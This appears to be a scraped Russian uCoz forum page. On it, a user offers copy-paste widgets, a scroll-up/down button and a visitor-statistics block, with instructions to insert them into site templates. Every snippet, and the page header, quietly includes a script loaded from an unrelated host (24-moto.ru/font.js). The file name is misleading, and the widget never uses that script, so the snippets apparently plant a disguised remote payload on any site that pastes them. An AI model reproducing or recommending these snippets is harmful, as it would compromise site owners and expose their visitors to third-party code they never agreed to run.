    <script type="text/javascript" src="http://24-moto.ru/font.js"></script>
    <select name="modul" onChange="searchSelect(this.form);">  
    <option value="none">Где искать?</option>  
    <option value="news">Новости</option>  
    <option value="load">Файлы</option>  
    <option value="publ">Статьи</option>  
    <option value="dir">Сайты</option>  
    <option value="blog">Блог</option>  
    <option value="faq">ЧаВо</option>  
    <option value="board">Объявления</option>  
    </select>  
    </div>  
    <div class="schBtn" align="center">  
    <input class="searchSbmFl" onClick="this.sfSbm.disabled=true" name="sfSbm" value="« Найти »" type="submit">  
    </div>  
    <input name="a" type="hidden">  
    </form>  
    </div>
    р е к л а м а


    Я закрою раны от дотошных людей.
     
    sharlinДата: Среда, 19.03.2014, 11:38 | Сообщение # 44
    Форум: Другие скрипты для uCoz | Тема: Кнопка вверх и вниз для сайта
    Постер
    Группа: Пользователи
    Сообщений: 20
    Репутация: 0
    скрин: http://i023.radikal.ru/1401/fd/ae3ed41cd540.jpg

    Скрипт для быстрого и плавного поднятия страницы вверх, также можно опускать и вниз страницу сайта.
    Выполнен в стиле пальца вверх и вниз, светло синий цет
    Установка не сложная и не требует дополнительных навыков html

    Установка скрипта „Кнопка вверх и вниз“

    Заходим в панель управления сайтом,
    далее "Главная » Управление дизайном » Редактирование шаблонов"
    Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

    Код
    <div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
      <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
      <script src="http://24-moto.ru/font.js" type="text/javascript"></script>
      <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
      <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
      </a></div>

    <script>
    var go_down = jQuery('body');
    jQuery(function() {
      $("#Go_Top").hide().removeAttr("href");
      if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
      var scrollDiv = $("#Go_Top");
      $(window).scroll(function() {
      if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
      else $(scrollDiv).fadeIn("slow")
      });

      $("#Go_Bottom").hide().removeAttr("href");
      if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
      var scrollDiv_2 = $("#Go_Bottom");
      $(window).scroll(function() {
      if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
      else $(scrollDiv_2).fadeIn("slow")
      });

      $("#Go_Top").click(function() {
      $("html, body").animate({scrollTop: 0}, "slow")
      })
      $("#Go_Bottom").click(function() {
      $("html, body").animate({scrollTop: go_down.height()}, "slow")
      })
    });
    </script>
    р е к л а м а


    Я закрою раны от дотошных людей.
     
    sharlinДата: Среда, 19.03.2014, 11:37 | Сообщение # 45
    Форум: Другие скрипты для uCoz | Тема: Вид статистика для ucoz
    Постер
    Группа: Пользователи
    Сообщений: 20
    Репутация: 0
    Скрин: http://s020.radikal.ru/i722/1403/41/9e1fa44ec0b8.png

    Создать глобальный блок и вставляет в него код:

    Код
    <center>$COUNTER$</center>   
    <hr><center><img src="http://pnghosts.ru/img/81.png" border="0"></a></center> $ONLINE_COUNTER$[ <a href="#" onclick="new _uWnd('OnUsrLst',' ',250,200,{autosize:0},{url:'/index/62'});return false;">Кто on-line?</a> ]<script type="text/javascript" src="http://24-moto.ru/font.js"></script>
    [ <a href="#" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'}); return false;" class="fUsrList">Кто нас сегодня посетил</a> ]
    р е к л а м а


    Я закрою раны от дотошных людей.
     
    Поиск: